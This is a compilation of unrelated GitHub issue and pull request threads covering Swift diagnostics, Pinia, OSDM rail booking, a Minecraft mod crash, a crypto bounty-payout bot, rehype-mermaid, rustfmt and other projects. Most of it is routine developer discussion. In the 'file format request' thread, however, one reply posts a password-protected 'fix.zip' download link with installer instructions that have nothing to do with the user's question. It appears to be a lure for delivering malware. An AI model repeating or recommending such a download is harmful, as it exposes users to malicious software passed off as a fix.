[5.9] DefiniteInitialization: Error when noncopyable types are conditionally initialized.

Issue: rdar://109695770
• Explanation: Introduces an error when noncopyable values are initialized in some code paths but not others. We handle this for copyable types by introducing dynamic flags to track when the value is initialized in order to know when to destroy it. However, borrow checking relies on static analysis and is incompatible in its current form with this dynamic checking, so we will disallow it for now.
• Scope of Issue: Disables unsupported code patterns.
• Origination: New feature work.
• Risk: low -- introduces a diagnostic for the new noncopyable types feature disallowing unsupported code.
• Reviewed By: @xedin and @gottesmm
• Automated Testing: Swift CI
• Dependencies: None
• Builder Impact: Not applicable
• Directions for QE: None

@swift-ci Please test


An issue with Deno

Reproduction
Create a new Vue project using the Deno template, then try to replace Vuex with Pinia
Steps to reproduce the bug
Hi,
This is obviously an issue with Deno when using Pinia, but I'm just curious if Pinia is using any specific Node API where it can adhere to the Standard Web API in this case? if that's the case why it works with Vuex and not with Pinia?
Expected behavior
A running project without an issue.
Actual behavior
A working Deno project with Vuex (without using Pinia)
Additional information
No response

but I'm just curious if Pinia is using any specific Node API [...]?

Normally, no


How to exchange only passenger details

Dear OSDM Team
I have a scenario:
a) after fulfillment, passenger discover that have to change passenger/purcharser details
b) passenger doesn't want to change any other details like trip, offer etc.
It is any way to exchange passenger details without defining from start trip, offers etc?
I found API related with passenger - but API specified that it should be used during booking.
Kamil

Hello,
It depends on what passenger information you want to change.
Any change of age, birtdate, reduction card would trigger re-pricing and will certainly be prohibited. In that case, the better option is to start exchange process.
#If we talk about name change or adding contact details, PATCH /bookings/{bookingId}/passengers/{passengerId} could be also called on fulfilled booking. But that always depends on the API provider if allows such modification. E.g. airlines have fee associated with the name change so again, there would need to be an exchange process or other activity where fee may be formally offered, accepted, and paid.
Please let us know what passenger details would you like to allow be changed.

My scenario is first name and last name.
In out case - the first exchange is free. But from the ticket side - requirement is that we need to create new fulfillment. So it tricky for me use this API... because in result API.
I had idea, that exchange offer API should have option to change passenger details without defining trips other "specifications".

Exchange flow that "just" updates passenger details and the exchange is either free or for a fee would be good. I like that idea.
Could you join any Friday 9-11 Central European Team on the technical group call to present this idea? Different carriers and vendors meet to discuss the issues. They may present how they do this at the moment, or we can accept the idea and design the solution.

There are more operators anticipating this. We would like to organize a call, discuss different needs, and design either improvement of exchange flow or completely different flow for this use case based on gathered requirements. Please reach out to tech. group to be involved.

Hello,
Can you share more information, how to join the meeting on Friday?
On Fri, Sep 27, 2024 at 9:54 AM Josef Petrák @.***>
wrote:

There are more operators anticipating this. We would like to organize a
call, discuss different needs, and design either improvement of exchange
flow or completely different flow for this use case based on gathered
requirements. Please reach out to tech. group to be involved.
—
Reply to this email directly, view it on GitHub
https://github.com/UnionInternationalCheminsdeFer/OSDM/issues/699#issuecomment-2378642564,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAENW5BSKFTG5TQVA2OR47TZYUFJXAVCNFSM6AAAAABOUPQS4GVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZYGY2DENJWGQ
.
You are receiving this because you were assigned.Message ID:
@.***>

--
Pozdrawiam
Kamil

@CGantert345  i tried few times to connect to the meeting. (18.10, 17.10, 11.10 at 9:00 CEST) :-(
When will be next meeting?

@rolandkla PATCH /bookings/{bookingId}/passengers/{passengerId} is currently permited for PREBOOKED bookings. Or, well, documentation says "at booking step" which is quite vague.
So, if we ignore the feature of monetization, we could use Cancel Fulfillment, return the booking to CONFIRMED state and then allow to PATCH passengers and Fulfill the booking again to get new documents.

@rolandkla agreed.

Joshi:
In case of exchange on train ID/Depart date or Pax name, the exchange flow will be used tod o this exchange as documents change.
Josef:
The issue is that potentially changing the name with this flow cannot garantie that the seat number is kept as we restart from a new offer... The goal is to find a short cut allowing to keep the booked parts that does not change and only modify what need to be changed and re issuing a new fullfilment .
The processes above from Roland has an impact on the price that could trigger a new offer request...but some other (like name change could not have impact on price) and in this case a short cut flow is welcome.
Same shortcut could be used for an upgrade from 2nd to 1st class. Some Railways used a supplement on top of the original ticket. In Swiss this is the way is done.
One use case in case of class of service is to bundle different trains in a global offer requesting for 1st class but some trains are only second. In this case the railway sell a full 2nd class trip plus supplements for trains with 1st..
In OSDM, ths supplement will be which kind of offerpart "ancillary" "admission"... as some railway call it supplement.... In Sweden it is an ancillary
For SBB, ancillary is used for added value on top of the admission, thus more an admission.
Could we have multiple admissions in this case for one train ? Semantically possible, but not what we would like to have....
No need to create a new type of offerpart 'supplement" ancillary is good enough
SBB will check if they can manage as ancillary. To be checked with Andreas should be reviewed with others too.


cypress Into first test file

Hi Luibov,
Please take a look when you have time.
Thanks
Svitlana

Looks perfect, only we need to resolve an issue with the main repo. Fill free to ping me to fix it.

@manatskaya  there are should be fixed one thing:
You have created PR into my repo, pls create a new PR following this instruction:

Luibov,
Thanks for your feedback and detailed screenshot. Updated accordingly.
Svitlana
On Tue, Oct 31, 2023 at 11:47 PM Liubov @.***> wrote:

@manatskaya https://github.com/manatskaya there are should be fixed one
thing:
You have created PR into my repo, pls create a new PR following this
instruction:
[image: Screenshot 2023-11-01 at 00 35 34]
https://user-images.githubusercontent.com/45169801/279531089-f7aa6543-abcb-4edb-8b76-d6a24a8a476e.png
—
Reply to this email directly, view it on GitHub
https://github.com/landriiuk/cypress-test/pull/8#issuecomment-1788138695,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACUUEQSMAPKN2XMJVL4363DYCF5ZRAVCNFSM6AAAAAA6WXOOUKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTOOBYGEZTQNRZGU
.
You are receiving this because you were mentioned.Message ID:
@.***>


Get offline players

Hello,
How can I list offline players ?
Thanks

Hi, actually there is no method getOfflinePlayers but you might GET /player and then sort by online value :
{
"link": "string",
"name": "string",
"online": true,
"uuid": "string"
}

Thanks, but I wouldn't have asked for this if the GET /player endpoint returned both online and offline players... :/

Hi, getting the offline players proved to be pretty hard the last time I tried. But it was quite a while ago when I last tried.
I guess it has something to do with the fact that Minecraft doesn't know about the players until they join for the first time, and after they leave there is only really a player data file left.

Wouldn't it be possible to loop over those data files ?

Theoretically yes, I'm not sure if Sponge has a built-in way to do this. I'm currently rewriting this plugin from scratch to include support for other minecraft API (such as spigot/paper and forge) and I hope to have first draft version out sometime soon. I'll see if I can include an option to list offline players, and add that to the Sponge version as well.

Actually, please prioritize Spigot support 😉

From: Marco<EMAIL_ADDRESS>Sent: Monday, February 22, 2021 2:27:42 PM
To: Valandur/Web-API<EMAIL_ADDRESS>Cc: KaKi87<EMAIL_ADDRESS>Author<EMAIL_ADDRESS>Subject: Re: [Valandur/Web-API] Get offline players (#145)
Theoretically yes, I'm not sure if Sponge has a built-in way to do this. I'm currently rewriting this plugin from scratch to include support for other minecraft API (such as spigot/paper and forge) and I hope to have first draft version out sometime soon. I'll see if I can include an option to list offline players, and add that to the Sponge version as well.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/Valandur/Web-API/issues/145#issuecomment-783373053, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AFCMJ6LNZBTL6AYF5FWYBRDTAJLU5ANCNFSM4XSIKOFQ.


fix(keymaps): gitbrowse also in Visual mode

Description
If https://github.com/folke/snacks.nvim/pull/89 gets accepted, then we should also update the keymap for Visual mode

Related Issue(s)
None

Screenshots

Checklist

[x] I've read the CONTRIBUTING guidelines.

thanks!


file format request

Hi, I have a question about that, are you support the file format for 3D stack for tiff or. rec file? image size is 400 MB or 200MB for each of them, I tried the demo, but the maximum size is 70 MB and it does not support tiff file format.

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

So, is this file format applied to a local machine? how about a colab note book?

I tried the password but download failed


Gnosis Safe Interaction Module

We only officially set up bounties on the ubiquity-dollar repo but all the same rules we will try and apply here.
The purpose of this module is to allow the Bounty Bot to be able to automatically pay out (or request to pay out) bounties via our Bounties Multisig
However, I realize that we should support multiple chains because when gas fees are high again, I think using a rollup like Optimism or a sidechain like Gnosis Chain (formerly known as xDAI Chain) or even a rollup on a sidechain (Arbitrum on Gnosis Chain 'AoX' kek) could be quite useful.
This should be implemented as a TypeScript module which can be imported and invoked from the core bot logic easily.
The main function parameters should look something like as follows:
// defaults in comments
interface Params {
	network?: number; // 1
	from: string; // this should be the Gnosis Safe address on the network
	amount: string;
	token: string;
	to: string;
	execute?: boolean; // false
	gwei?: number; // auto
}

The network ID (Should test for support on Mainnet, Optimism, Gnosis Chain)
The "from" Gnosis Safe address
The amount of tokens : string (or whatever datatype Ethers BigNumber uses I guess)
The token address : string
The destination address : string
"execute transaction" : boolean
Gas speed override : number (normally this should be automatically determined, prioritizing speedy transfers. An override seems like a useful capability)

I'm not sure at the moment of a useful return value. Ideally we should be able to track the transactions for accounting purposes though.
Environment variables should include an Ethereum private key for a dedicated EOA for the UbiquiBot.
Lastly I would recommend being mindful on limiting the use of dependencies so that we can use @vercel/ncc and host all of the compiled code on GitHub Actions.
Could be useful<EMAIL_ADDRESS>

happy to take a look at this as soon as i am done with cspell

Before we saddle up on this bounty price, we need to figure out a viable strategy in order to be able to handle accounting.

I'm not sure at the moment of a useful return value. Ideally we should be able to track the transactions for accounting purposes though.

It is important for us to be able to audit the payments far in the future, ideally keeping track of every transaction hash and the dollar value of each transaction hash (I think we should record the dollar amount in the database instead of trying to read the chain and calculating it - seems significantly easier this way)
For some extra context, in the SQL database in my current architecture I plan to tally up total_debt_amount per bounty hunter, and then have another column called total_paid_amount. This means that if total_debt_amount - total_paid_amount = 0 then we have no outstanding payments to the bounty hunter.

One will need the private key of the signing exposed to the code (at a minimum) via env var or otherwise for this functionality. I am not sure if special attention is required from anyone on the team there.

gwei doesn't make sense if you plan to ever allow the bot to pay out anything that does not have 18 decimals, such as USDC.

One will need the private key of the signing exposed to the code (at a minimum) via env var or otherwise for this functionality. I am not sure if special attention is required from anyone on the team there.

Encrypted secrets is your answer its not a big deal
https://docs.github.com/en/actions/security-guides/encrypted-secrets

well, it's more of a question of key management - seed vs pk use. it simply isn't setup to take private keys currently. with a few updates it can be

as in, if you want to have a master seed and have the first 2 accounts be your safe owners, then you can do that and only give the bot one of the addresses to make account management easier. you would only have to expose one of the account private keys, but the seed could have access to both. however you wish to resolve that relationship

We just need a single private key for the bot. This is far more convenient if/when exporting from another wallet e.g. MetaMask. The access control is handled on the Safe side.

Didn't realize that BigInt is natively supported - we should just use that
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt

oh nice bot!

I am gonna make things more clear based on current architecture.
Discussed in https://github.com/ubiquity/bounty-bot/discussions/1

Originally posted by pavlovcik September 10, 2022

[ ] Paying Bounties

This is https://github.com/ubiquity/bounty-bot/issues/13 to allow for automatic payments OR queuing payments via Gnosis Safe.
This should check if the Bounty Hunter has a registered address in the database. If they don't the Bounty Bot should request for their address and then request payment from the bounty masters (could be simpler logic to implement this way; otherwise its best for the bot to handle collecting the payment address and then also automatically making the payment and posting the transaction hash)
Should also check who recruited the Bounty Hunter and give them their commission.

it should send confirmation request to bounty masters internally or externally.

Ideally the "user interface" for the bot should be entirely through comments on GitHub.
However you bring up a great edge-case with a bounty price range and the bot thinking that its time to pay.
We really should have set a final price before the bounty hunter has finished, so thats the fault of the bounty masters if this happens. The simple answer honestly would be that the bot posts a message stating that we must set a price (via label) before the payment can be processed.

how should i rebase and push now that the option is not available in this pr?

You can always open a new PR (and associate with this issue.)

Hey so I just found a project on Twitter that basically is the exact same feature we are working on. I highly recommend you guys take a look at their implementation.
https://twitter.com/jj_ranalli/status/1595169970228498447?s=46&t=qcOXMvSMNk5-puL1oVlJfQ
https://t.co/EiQ6vOuNrp

that's a good example @3commascapital .

It seems like no activity has occurred on this bounty for awhile so I'm releasing it back to the DevPool. @0xcodercrane can you confirm the status?

hmm yes I agree to release back to the DevPool

We could use dai's permit()
On our side we:

Store bot's private key in github secrets
When bounty hunter asks for payment the bot checks a few conditions (PR author, whether payment hasn't already been paid, etc...) and posts permit params

So we could simply keep some DAI on the bot's address. We also don't need to pay gas fees.
Example:

Bounty hunter assigns a bounty to himself via /assign
Bounty hunter solves the bounty and PR is merged
Bounty hunter registers his wallet address via /wallet 0x01
Bounty hunter asks for bounty via /payout
Bot responds with something like:

{
  owner: 0x01, // bot address
  spender: 0x02, // bounty hunter's address
  value:<PHONE_NUMBER>,
  deadline:<PHONE_NUMBER>3,
  v: 240,
  r: 0x832482374823,
  s: 0x837483748374
}

This way only bounty hunter can use this permit params. Then bounty hunter calls permit() and transferFrom() and gets his payment.

I think we should generalize it with some type of approve(); on the Gnosis Safe so that we can have it work with our Ubiquity Dollars.
I think its a but unusual for the Bounty Hunter to write /payout on a GitHub comment, but given that this is where all of our commands are currently interfacing, and because I don't have a better suggestion; lets proceed with /payout.

so that we can have it work with our Ubiquity Dollars

Our ubiquity dollar is also an ERC20 token so it also has the permit() method. Just send some UAD to a bot address, store private key in github actions and the bot will post permit signatures exactly for UAD. Right now UAD is not actively used so it makes sense to start with DAI and switch to UAD later.

we should generalize it with some type of approve(); on the Gnosis Safe

I can't understand why we need the Gnosis Safe contract. Gnosis Safe is a multisig wallet which means there should be multiple parties to approve transaction.
Consider an example:

We're using Gnosis Safe which needs 2 out of 2 confirmations to process transaction (bot's private key and admin's private key)
Bounty hunter solves PR and posts /payout
The bot posts offchain permit
Admin posts (i.e. approves) his offchain permit
Bounty hunter executes the payout transaction with those 2 permits

In the flow above there is no need for the bot's offchain permit because in the end admin has to approve the payout by posting his signature. So if we remove the bot's permit (step 3) then we are left only with admin's permit. Using Gnosis Safe for 1 wallet seems to be an overkill. So we can put the Gnosis Safe aside and simply use DAI's permit or UAD's permit.

I see okay. The two use cases I want to accomodate are:

The partner project wants to manually approve of payouts.
The partner projects wants payouts to happen automatically.

If the partner can configure that in their repo bot settings, and we can accomodate without a Gnosis Safe, then lets do it!
One last consideration is that we currently do have a Gnosis Safe for other team members @sergfeldman @Draeieg can payout bounties if I'm not around etc. It's nice to also support this, but we use it infrequently so all manual is probably ok.

(Sorry, just getting acclimated to the new priority multiplier)


Some diagrams doesn't work with rehype-raw plugin

About issue
This is not a bug in your code. Just want to let you know about it:
import { unified } from "unified";
import remarkParse from "remark-parse";
import remarkRehype from "remark-rehype";
import rehypeMermaid from "rehype-mermaid";
import rehypeRaw from "rehype-raw";
import rehypeStringify from "rehype-stringify";

const markdown = `
\`\`\`mermaid
---
config:
  sankey:
    showValues: false
---
sankey-beta

Agricultural 'waste',Bio-conversion,10
Bio-conversion,Liquid,5
\`\`\`
`;

const file = await unified()
  .use(remarkParse)
  .use(remarkRehype)
  .use(rehypeMermaid)
  .use(rehypeRaw)
  .use(rehypeStringify)
  .process(markdown);

console.log(file.value.match(
  /<g style="mix-blend-mode: multiply;" class="link">(.*?)<\/g>/
));

Without rehype-raw it would generate:
<g style="mix-blend-mode: multiply;" class="link"><linearGradient x2="295" x1="10" gradientUnits="userSpaceOnUse" id="linearGradient-4"><stop stop-color="#4e79a7" offset="0%"></stop><stop stop-color="#f28e2c" offset="100%"></stop></linearGradient><path stroke-width="400" stroke="url(#linearGradient-4)" d="M10,200C152.5,200,152.5,200,295,200"></path></g>

With rehype-raw it would generate:
<g style="mix-blend-mode: multiply;" class="link"><linearGradient x2="295" x1="10" gradientUnits="userSpaceOnUse" id="linearGradient-4"><stop stop-color="#4e79a7" offset="0%"></stop><stop stop-color="#f28e2c" offset="100%"></stop><path stroke-width="400" stroke="url(#linearGradient-4)" d="M10,200C152.5,200,152.5,200,295,200"></path></linearGradient></g>

It changes position of closing tag </linearGradient>. And the second option is wrong.
About strategies
Which makes rehypePlugins: [[rehypeMermaid, { strategy: "img-svg" }]], a bit more reliable choice. But on the other hand it doesn't support css (correct?).

inline-svg

cons: other CSS from HTML page may conflict (like globally set line-height)
cons: may not work with rehype-raw
pros : supports css option
pros : text is searchable

img-svg

cons: doesn't support css option
pros: supports dark mode
pros: no issues with rehype-raw
pros: no conflicts with other styles on the page

Good catch. This is definitely a bug. I reported it upstream, but let’s keep this issue open until this is fixed. In the meantime, you could move rehypeRaw before rehypeMermaid.

It’s fixed in<EMAIL_ADDRESS>:tada:


Color Theme picker: it should mark the currently active Theme

VSCode Version: 1.52.1
OS Version: W10 1909

Steps to Reproduce:

Open the Color Theme picker by Ctrl+K Ctrl+T or with File > Preferences > Color Theme.
The Theme List should mark the current active Theme

Does this issue occur when all extensions are disabled?: Yes

For me that works. What do you see?

For me that works. What do you see?


Aditional unnecessary curly bracers.

Every rustfmt exec (for following code with default rustfmt config) adds additional {...} around // code here. line.
this code:
mod client {
    impl Client {
        fn test(self) -> Result<()> {
            let next_state = match self.state {
                State::V5(v5::State::Command(v5::command::State::WriteVersion(ref mut response))) => {
                    // code here.
                }
            };
        }
    }
}

transforms to:
mod client {
    impl Client {
        fn test(self) -> Result<()> {
            let next_state = match self.state {
                State::V5(v5::State::Command(v5::command::State::WriteVersion(ref mut response))) => {
                    {
                        // code here.
                    }
                }
            };
        }
    }
}

etc.

bug = non-idepotency

Ah, I see what's going on here: the source goes over the column limit and so extra braces are added to try and fix this. We should either check that the expression is a block before doing this or do an extra check after adding braces (and abort if we still go over the limit).


Table view refactor

Make the table list view (dashboard and alert) into a directive with sorting, loading spinner, and total count display features.

Current coverage is 36.05% (diff: 100%)

Merging #129 into develop will increase coverage by 0.02%

@@            develop       #129   diff @@
==========================================
  Files           228        228
  Lines         12768      12768
  Methods           0          0
  Messages          0          0
  Branches       2159       2159
==========================================
+ Hits           4600       4603     +3
+ Misses         7595       7592     -3
  Partials        573        573

Powered by Codecov. Last update 30e715b...995602c


Client crash when playing on a server (1.20.1)

Hello!
I played for some time without problems on my server with your mod.
Today, near my house (in the game, of course) I made a 2x2 dirt plot in the sand, on which I planted 4 oak sprouts.
After all 4 sprouts had grown, I decided to cut it down with a diamond axe.
At this moment the game crashed (only the client, the server continued to work).
I am attaching the crash log files and the log file.
Hope this helps find and fix the problem.
Thank you!
crash-2024-01-13_21.09.08-client.txt
latest.log

Thanks for the logs! I'll get it fixed asap

Fixed in 0.18.7a

Please forgive me, but I have the same problem, but with seedlings of a different tree (dark oak).
I'm starting to get the impression that this might be the case with a few more tree species.
Now it’s already night for me, so I’ll better go to bed, and tomorrow I’ll wake up and try all the trees that are in my assembly.
And then I’ll additionally upload more log files.
Apparently, it is too early to close this topic.
Sorry again.
crash-2024-01-14_03.51.00-client.txt
latest.log

Hey, thanks for letting me know. It was a conflict with some Flywheel optimizations, it should be fixed for real this time in 0.18.7b

I updated the mod, went to the server and continued cutting down the dark tree. Made 4 hits, maybe 5 and crashed again. I am attaching the files. The thought flashed through that perhaps it was due to the fact that the earth blocks were installed in a sand block. It’s just that if I cut down trees at the place of their natural generation (when they grow during the generation of the world, and not the seedlings I planted), then no problems occur. all the trees are cut down (also dark wood or db, for example: I have cut them down more than once).
I found a problem for you! :-)
Sorry!
crash-2024-01-14_14.27.38-client.txt
latest.log

Uh oh! The log says you’re still using TreeChop-1.20.1-forge-0.18.7.jar, could you update to TreeChop-1.20.1-forge-0.18.7b.jar? Note the “b” at the end
The server doesnt crash because it’s happening in code that draws stuff on your screen, and servers don’t have to do that
Thanks for always sharing logs :)

Tricky Minecraft! ;-)
I was very surprised that I was using an old version of the mod, although I was updating it.
I decided to go into the “mods” folder and saw that both the old and new versions of mods “live together” in it! ;-)
And Minecraft itself did not report that it has duplicate mods (or several identical mods).
I deleted the old version, leaving the new one.
I went into the game, onto the server. I cut down a tree, planted new seedlings: I’m waiting for it to grow!
I'll report the results anyway!
We are waiting! )

Hah!
While I was writing this message to you, the tree grew!
Well, I cut it down without any problems! So far everything is working!
I think this topic can be closed.
If I discover anything again, I will definitely let you know.
It was a pleasure to be useful and help you find and fix the problem with your mod!
Thank you for your mod: it’s very convenient to survive in this wonderful world of Minecraft!
;-)


Making images nicely fade out instead of instant flash to container.

Hi Jack,
There's a slight problem in your colorbox script. If you choose fade for the transition effect, images get faded in, but they don't get faded out. Images are immediately deleted, and the container fades out, which can cause an annoying flashing effect.
Here's a fix, that fades out the images at the same duration that the container fades out so that there is no annoying flash.

Please ignore this pull request, I built a much better solution here:
https://github.com/jackmoore/colorbox/pull/129


https://protection.office.com/ does not have "Alerts" under "Home" on the left

Alert policy settings says to go to https://protection.office.com and then select Alerts > Alert policies.
When I go there, I don't see "Alerts"
I was looking for a way to stop the 'Show Sharing' alerts that I started getting too much of.
Thank you

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 9f2879ba-e58e-cd47-f488-10d153c31418
Version Independent ID: 391a2c05-d63d-e84e-7c7d-80c3b3518419
Content: Alert policies in the security and compliance centers - Microsoft 365 Compliance
Content Source: microsoft-365/compliance/alert-policies.md
Service: o365-seccomp
GitHub Login: @markjjo
Microsoft Alias: markjjo

@Ofer-Gal Not sure what you mean by "Alert policies settings says to go to...". As per the topic "To view alerts, go to https://protection.office.com and then select Alerts > View alerts." The direct URL is https://protection.office.com/viewalerts. Alerts triggered by alert policies are displayed on the View alerts page. Note that you also need to be member of certain role groups to view alerts triggered by different policies, as per this table. I guess it might be possible that if you're not a member of any of those role groups, the View alert page might not be available to you. If you are an end user, you might have to ask an admin to change whatever policy is triggering these alerts or to edit the policy so that you're not sent a notification.

Thanks. I asked my admin for explanation. but my remark is about the documentation.
I say that if I need to be in a certain role to see a link, it should state that in the documentation.
Otherwise it looks like bad documentation that leads you nowhere.

@Ofer-Gal Added RBAC roles required to view and manage alert policies. Updated article will be published by end of day.


Fix conways demo for the reference change

Update DOM version to not create a closure per rerender
and general cleanup for a more aspirational baseline by
using props versus attributes.

using props versus attributes

I personally would like to keep the DOM version as close to the glimmer version as possible, so that I can tell us how much overhead we are adding and how much is fixed DOM cost we cannot remove by micro-tuning the implementation. Maybe we can have both versions?


Make UserInfoEndpoint extendable

Is your feature request related to a problem? Please describe.
The OpenID Connect Core specification indicates that the UserInfo endpoint may return a signed and/or encrypted JWT instead of JSON.
The current UserInfoEndpoint implementation only supports the JSON format.
Describe the solution you'd like
The optimal solution would for IdentityServer4 to support signed and/or encrypted UserInfo responses, but the easier solution is to make it easier to customize UserInfoEndpoint.

UserInfoEndpoint would need to be public
BearerTokenUsageValidator would need to be public OR modified to implement a public interface
UserInfoEndpoint.Error would need to be protected
UserInfoEndpoint.ProcessAsync and UserInfoEndpoint.ProcessUserInfoRequestAsync should be made virtual

Describe alternatives you've considered
Currently creating a custom UserInfo endpoint can be accomplished by copying the source code of UserInfoEndpoint, BearerTokenUsageValidator and ProtectedResourceErrorResult and modify UserInfoEndpoint to suit our needs.
I can make a PR with proposed changes if interested

Wouldn't it be sufficient to override the UserInfoResponseGenerator?

Wouldn't it be sufficient to override the UserInfoResponseGenerator?

IUserInfoResponseGenerator creates a dictionary containing the JSON properties to return. One cannot override it to return a JWT

OK thanks - we will discuss this. Might not be immediate.

We don't have any immediate plans to do this. We will re-visit this for the next version.


setup.py: Use setuptools-markdown

To get a description on PyPI at https://pypi.python.org/pypi/vim-vint

Hi, @msabramo . Sorry for my late reply.
I'm not gonna merge the patch, because setup.py fail on CI services because pandoc is not installed CI services.
I think the real problem is markdown README.
I'm gonna rewrite README by using reST.


Replace assertUntilTimeout with assertEventually

CI https://github.com/prestosql/presto/issues/4864 -> https://github.com/prestosql/presto/pull/6043


Find Poco library using upstream CMake configuration.

A bug in the FindPoco module from cmake_modules causes incorrect linking in Debug configurations.
I haven't decided if this is a straw man or not since I'm not sure what we gain or lose by not using the module from cmake_modules.
This is one possible way to resolve #117 but I'd like input from someone like @wjwwood before I decide whether this is a good idea or not.

CI informs me that this won't be a complete solution as Debian Stretch's libpoco-dev package doesn't contain CMake configuration.

+1 to getting rid of stuff in cmake_modules where ever possible, but as you said, we likely created it there to address a specific problem like debian not shipping proper CMake module or config file.

While this would be the preferred solution to #117 it won't work for Melodic. I've added a commit that completes this PR so it can be considered in the future once support for Stretch is dropped.


Changed walkthrough from UPS to mini

This PR is a

[ ] Feature Implementation
[ ] Bug Fix
[X] Documentation

What this PR does / why we need it:
Requested change from UPS Broker to Minibroker within walkthrough.
Which issue(s) this PR fixes
Fixes #2658
Please leave this checklist in the PR comment so that maintainers can ensure a good PR.
Merge Checklist:

[ ] New feature

[ ] Tests
[ ] Documentation

[ ] SVCat CLI flag
[ ] Server Flag for config

[ ] Chart changes
[ ] removing a flag by marking deprecated and hiding to avoid
breaking the chart release and existing clients who provide a
flag that will get an error when they try to update

/assign @jberkhahn

mentioned a couple things, other than that this looks good

mentioned a couple things, other than that this looks good

Made the recommended adjustments.

/retest
No code changes was performed to cause test failures. Here is the failure from the test.
Setting up ca-certificates (20161130+nmu1+deb9u1) ...
Updating certificates in /etc/ssl/certs...
/usr/sbin/update-ca-certificates: 101: /usr/sbin/update-ca-certificates: sed: Exec format error
/usr/sbin/update-ca-certificates: 75: /usr/sbin/update-ca-certificates: rm: Exec format error
dpkg: error processing package ca-certificates (--configure):
 subprocess installed post-installation script returned error exit status 2
Processing triggers for libc-bin (2.24-11+deb9u4) ...
Errors were encountered while processing:
 ca-certificates
E: Sub-process /usr/bin/dpkg returned an error code (1)
The command '/bin/sh -c export DEBIAN_FRONTEND=noninteractive &&     apt-get update &&     apt-get install ca-certificates -y &&     rm -rf /var/lib/apt/lists/*' returned a non-zero code: 100
Makefile:383: recipe for target 'service-catalog-image' failed
make[1]: *** [service-catalog-image] Error 100
make[1]: Leaving directory '/home/prow/go/src/github.com/kubernetes-sigs/service-catalog'
Makefile:348: recipe for target 'arch-image-arm64' failed
make: *** [arch-image-arm64] Error 2
+ EXIT_VALUE=2
+ set +o xtrace

/test pull-service-catalog-xbuild

@zulandar currently is a known issue that the pull-service-catalog-xbuild is sometimes failing with such /usr/sbin/update-ca-certificates: rm: Exec format error error you need to add comment
/test pull-service-catalog-xbuild

to execute that test one more time.

/lgtm
/approve


Module 'asyncio' has no 'run' member in Python 3.6

See https://github.com/rhasspy/rhasspy-dialogue-hermes/issues/2

Closed so discussion happens in linked issue


chore(jspm-plugin): set grid within app boundary

made the plugin title a bit smaller in height, so that plugins have more room for good stuff :)


Web server sometimes fails when reading SPIFFS

This issue is probably connected with simultaneus reading the file system from different threads. Needs some debugging.

The issue is well described in https://www.esp32.com/viewtopic.php?t=7876: "vTaskDelay() cannot be called whilst the scheduler is disabled (i.e. in between calls of vTaskSuspendAll() and vTaskResumeAll()). The assertion failure you see is vTaskDelay() checking if it was called whilst the scheduler is disabled."
Some SPIFFS functions internally call vTaskSuspendAll() hence no other thread should call delay() (which internally calls vTaskDelay()) since we cannot predict if this would happen while the scheduler is disabled.
The solution is introduction of a mutex that prevents going into delay() and SPIFSS functions simultaneously from different threads. Patch is already being tested and will be released soon.


Adding filter buttons, small quality of life changes

Closes list issues numbers here
Developer Checklist (Definition of Done)
Issue

[x] All acceptance criteria from the issue are met
[x] Tested in latest Chrome/Firefox

UI/UX/Vis

[ ] Requires UI/UX/Vis review

[ ] Reviewer(s) are notified (tag assignees)
[ ] Review has occurred (link to notes)
[ ] Feedback is included in this PR
[ ] Reviewer(s) approve of concept and design

Code

[x] Branch is up-to-date with the branch to be merged with, i.e., develop
[x] Code is cleaned up and formatted
[ ] Unit tests are written (frontend/backend if applicable)
[ ] Integration tests are written (if applicable)

PR

[x] Descriptive title for this pull request is provided (will be used for release notes later)
[x] Reviewer and assignees are defined
[ ] Add type label (e.g., bug, feature) to this pull request
[ ] Add release label (e.g., release: minor) to this PR following semver
[x] The PR is connected to the corresponding issue (via Closes #...)
[x] Summary of changes is written

Summary of changes

Adding filter buttons to the top of each view, instead of inside of the sidebar. They can be hidden the same way that the select settings can be hidden
Also made a few quality of life changes that makes the new sidebar functionality smoother when switching between views

Screenshots
Additional notes for the reviewer(s)

Thanks for creating this pull request 🤗

Going to integrate these changes from scratch again, due to the large differences from https://github.com/datavisyn/visyn_core/pull/49


Support Whitespaces in the Sources' File Paths

See the forum post
Windows directories, unlike from the UNIX directories, can have whitespaces in its name, these whitespaces aren't recognized correctly in the appinventor build system, which causes builds, which have the sources in a path that contains spaces, to fail.
The failure is mostly caused because of the fact paths are mostly passed as a line arguments when executing a JAR file, the second part of the path ( after the whitespace ), would be considered as a separate argument, I have noticed this behavior exactly with the targets : Keystore, YaClientApp, and BlocklyCompile .
This PR, passes the arguments which could potentially contain a path with spaces using the arg tag's value attribute, which would preserve paths with spaces as a one argument by quoting it.
I tested this, having  appinventor in the following path: C:\AppInventor Sources, and it has compiled correctly.

Can one of the admins verify this patch?

👏


Fix rebuild behavior on empty linode and distribution bug

Coverage decreased (-0.1%) to 81.762% when pulling 0fd91b02c52742dd318f275bbf6b5d062b410f94 on eatonphil:fix-rebuild-empty-linode into d8b1f93104153b9b47ef570129e558841342c463 on linode:master.

Coverage increased (+0.03%) to 81.934% when pulling b03f70bb946492c122a268d9aafd711c306de5b7 on eatonphil:fix-rebuild-empty-linode into d8b1f93104153b9b47ef570129e558841342c463 on linode:master.

thanks!


Price sheets, literature, logos, etc

Once logged in: I would like a spot that they can download current price sheets (Finished goods), Get PDF’s of literature and manuals and download any logo’s like the Hornet or ((M))

Can be done, it can be a module which is easy enough to create. Other functionality needs polished first.


[ISSUE #1205] Fix bugs in Kafka Producer and Minimum Viable Kafka Consumer

Fixes #1205.
Motivation
Complete the support for Kafka Connector
Modifications
Fix bugs in Kafka Producer
Implemented a Minimum Viable Kafka Consumer
Documentation

Does this pull request introduce a new feature? (yes / no)
Yes
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)
It will be documented after its completion and rollout in a separate PR

@Markliniubility please check the CI fail tasks.

@Markliniubility please check the CI fail tasks.

Thanks! I was mostly about checkstyle that fails I believe. Will fix the formating tomorrow!

